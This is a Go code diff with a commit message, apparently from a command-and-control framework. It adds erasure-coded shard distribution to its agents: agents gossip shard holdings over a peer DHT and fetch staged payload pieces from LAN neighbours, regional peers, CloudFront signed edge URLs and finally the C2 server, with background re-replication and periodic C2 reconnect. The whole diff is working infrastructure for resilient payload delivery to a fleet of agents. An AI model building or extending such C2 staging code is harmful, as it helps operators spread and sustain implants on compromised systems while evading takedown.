Add S3 erasure swarm with CloudFront signed magnets.

Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.

agent/deploy/fleet_torrent.go

@@ -21,14 +21,12 @@ const (
 	fleetTorrentZeroServerRetry = 30 * time.Minute
 )
 
-// FleetGossipKind mirrors server atlas fleet gossip kinds.
 const (
 	FleetGossipHaveShard = "have_shard"
 	FleetGossipHealthy   = "healthy"
 	FleetGossipKnowNode  = "know_node"
 )
 
-// FleetGossipRecord is one DHT advertisement from a fleet peer.
 type FleetGossipRecord struct {
 	Kind          string `json:"kind"`
 	AgentID       string `json:"agent_id,omitempty"`
@@ -36,37 +34,36 @@ type FleetGossipRecord struct {
 	Token         string `json:"token,omitempty"`
 	ShardIndex    int    `json:"shard_index,omitempty"`
 	ShardHash     string `json:"shard_hash,omitempty"`
+	Region        string `json:"region,omitempty"`
+	ShardAdvert   string `json:"shard_advert,omitempty"`
 	TargetAgentID string `json:"target_agent_id,omitempty"`
 	Healthy       bool   `json:"healthy,omitempty"`
 	FetchURL      string `json:"fetch_url,omitempty"`
 }
 
-// ShardPeer is a known holder of one content-addressed shard.
 type ShardPeer struct {
 	AgentID  string
 	Subnet   string
+	Region   string
 	FetchURL string
-	Score    int // higher = prefer LAN same-subnet
 }
 
-// FleetShardDHT tracks content-addressed shard availability across the fleet.
 type FleetShardDHT struct {
-	mu      sync.RWMutex
-	peers   map[string]map[int][]ShardPeer // token -> index -> peers
-	healthy map[string]bool                 // agentID -> healthy
-	local   map[string]map[int][]byte       // token -> index -> shard bytes (primary seeder cache)
+	mu        sync.RWMutex
+	peers     map[string]map[int][]ShardPeer
+	shardHash map[string]map[int]string
+	healthy   map[string]bool
+	local     map[string]map[int][]byte
 }
 
 var globalFleetDHT = &FleetShardDHT{
-	peers:   make(map[string]map[int][]ShardPeer),
-	healthy: make(map[string]bool),
-	local:   make(map[string]map[int][]byte),
+	peers:     make(map[string]map[int][]ShardPeer),
+	shardHash: make(map[string]map[int]string),
+	healthy:   make(map[string]bool),
+	local:     make(map[string]map[int][]byte),
 }
 
-// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
-func FleetShardDHTSnapshot() *FleetShardDHT {
-	return globalFleetDHT
-}
+func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
 
 func SetFleetShardDHT(dht *FleetShardDHT) {
 	if dht != nil {
@@ -79,7 +76,6 @@ func shardContentHash(data []byte) string {
 	return hex.EncodeToString(sum[:])
 }
 
-// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
 func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
 	if d == nil || len(records) == 0 {
 		return
@@ -92,17 +88,28 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
 			if r.Token == "" || r.AgentID == "" {
 				continue
 			}
+			region := strings.TrimSpace(r.Region)
+			if region == "" && r.ShardAdvert != "" {
+				if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
+					region = parsed
+				}
+			}
 			if d.peers[r.Token] == nil {
 				d.peers[r.Token] = make(map[int][]ShardPeer)
 			}
-			peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
+			if d.shardHash[r.Token] == nil {
+				d.shardHash[r.Token] = make(map[int]string)
+			}
+			if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
+				d.shardHash[r.Token][r.ShardIndex] = h
+			}
+			peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
 			d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
 		case FleetGossipHealthy:
 			if r.AgentID != "" {
 				d.healthy[r.AgentID] = r.Healthy
 			}
 		case FleetGossipKnowNode:
-			// know_node expands peer graph — treated as healthy signal for target
 			if r.TargetAgentID != "" {
 				d.healthy[r.TargetAgentID] = true
 			}
@@ -119,7 +126,6 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
 	return append(peers, p)
 }
 
-// StoreLocalShard caches one shard for primary-seeder fan-out.
 func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
 	if d == nil || token == "" || len(body) == 0 {
 		return
@@ -132,7 +138,6 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
 	d.local[token][index] = append([]byte(nil), body...)
 }
 
-// LocalShard returns a cached shard when this agent is primary seeder.
 func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
 	if d == nil {
 		return nil, false
@@ -149,8 +154,7 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
 	return append([]byte(nil), body...), true
 }
 
-// PeersForShard returns known peers holding one shard index.
-func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
+func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
 	if d == nil {
 		return nil
 	}
@@ -163,8 +167,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin
 	out := make([]ShardPeer, len(raw))
 	copy(out, raw)
 	sort.Slice(out, func(i, j int) bool {
-		si := peerScore(out[i], localSubnet)
-		sj := peerScore(out[j], localSubnet)
+		si := peerScore(out[i], localSubnet, localRegion)
+		sj := peerScore(out[j], localSubnet, localRegion)
 		if si != sj {
 			return si > sj
 		}
@@ -173,8 +177,26 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet strin
 	return out
 }
 
-func peerScore(p ShardPeer, localSubnet string) int {
+func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
+	if d == nil {
+		return ""
+	}
+	d.mu.RLock()
+	defer d.mu.RUnlock()
+	if d.shardHash[token] == nil {
+		return ""
+	}
+	return d.shardHash[token][index]
+}
+
+func peerScore(p ShardPeer, localSubnet, localRegion string) int {
 	if localSubnet != "" && p.Subnet == localSubnet {
+		return 4
+	}
+	if localRegion != "" && p.Region == localRegion {
+		return 3
+	}
+	if p.Region != "" {
 		return 2
 	}
 	if p.Subnet != "" {
@@ -183,7 +205,6 @@ func peerScore(p ShardPeer, localSubnet string) int {
 	return 0
 }
 
-// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
 func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
 	if maxLAN <= 0 {
 		maxLAN = fleetTorrentMaxLANNeighbors
@@ -200,15 +221,14 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
 	return out
 }
 
-// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
-func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
+func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
 	if dht == nil {
 		dht = globalFleetDHT
 	}
 	if body, ok := dht.LocalShard(token, index); ok {
 		return body, nil
 	}
-	peers := dht.PeersForShard(token, index, localSubnet)
+	peers := dht.PeersForShard(token, index, localSubnet, localRegion)
 	try := func(url string) ([]byte, error) {
 		if url == "" {
 			return nil, fmt.Errorf("empty url")
@@ -227,18 +247,35 @@ func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string,
 		if localSubnet != "" && p.Subnet == localSubnet {
 			continue
 		}
+		if localRegion != "" && p.Region == localRegion {
+			if body, err := try(p.FetchURL); err == nil {
+				return body, nil
+			}
+		}
+	}
+	for _, p := range peers {
+		if localSubnet != "" && p.Subnet == localSubnet {
+			continue
+		}
+		if localRegion != "" && p.Region == localRegion {
+			continue
+		}
 		if body, err := try(p.FetchURL); err == nil {
 			return body, nil
 		}
 	}
+	if cloudFrontURL != "" {
+		if body, err := try(cloudFrontURL); err == nil {
+			return body, nil
+		}
+	}
 	if c2URL != "" {
 		return try(c2URL)
 	}
 	return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
 }
 
-// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
-func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
+func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
 	if !plan.Enabled || len(plan.Shards) == 0 {
 		return "", fmt.Errorf("erasure plan disabled or empty")
 	}
@@ -274,7 +311,15 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
 		if c2 != "" && !strings.HasPrefix(c2URL, "http") {
 			c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
 		}
-		body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
+		region := localRegion
+		if region == "" {
+			region = strings.TrimSpace(cfg.AwsS3ShardRegion)
+		}
+		cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
+		if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
+			cfURL = edge
+		}
+		body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
 		if err != nil {
 			continue
 		}
@@ -313,8 +358,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
 	return "fleet_torrent: " + msg, nil
 }
 
-// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
-func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
+func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
 	if fetchFn == nil {
 		fetchFn = fetchErasureShardHTTP
 	}
@@ -325,40 +369,33 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string)
 		if err != nil || len(body) == 0 {
 			continue
 		}
+		hash := shardContentHash(body)
 		dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
 		records = append(records, FleetGossipRecord{
-			Kind:       FleetGossipHaveShard,
-			Token:      plan.ShardToken,
-			ShardIndex: ref.Index,
-			ShardHash:  shardContentHash(body),
-			FetchURL:   ref.URL,
-			Healthy:    true,
+			Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
+			ShardHash: hash, Region: strings.TrimSpace(region),
+			ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
 		})
 	}
 	return records
 }
 
-// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
 func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
-	if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
-		return
-	}
-	if gossipFn == nil {
+	if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
 		return
 	}
 	go func() {
 		ticker := time.NewTicker(5 * time.Minute)
 		defer ticker.Stop()
 		for range ticker.C {
-			recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
-			if len(recs) > 0 {
+			region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
+			if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
 				gossipFn(recs)
 			}
 		}
 	}()
 }
 
-// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
 func StartZeroServerReconnect(reconnectFn func() error) {
 	if reconnectFn == nil {
 		return
@@ -372,7 +409,6 @@ func StartZeroServerReconnect(reconnectFn func() error) {
 	}()
 }
 
-// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
 func ParseSwarmMagnetToken(magnet string) string {
 	magnet = strings.TrimSpace(magnet)
 	if magnet == "" {
@@ -388,7 +424,6 @@ func ParseSwarmMagnetToken(magnet string) string {
 	return ""
 }
 
-// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
 func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
 	if manifestURL == "" {
 		return nil, fmt.Errorf("empty manifest url")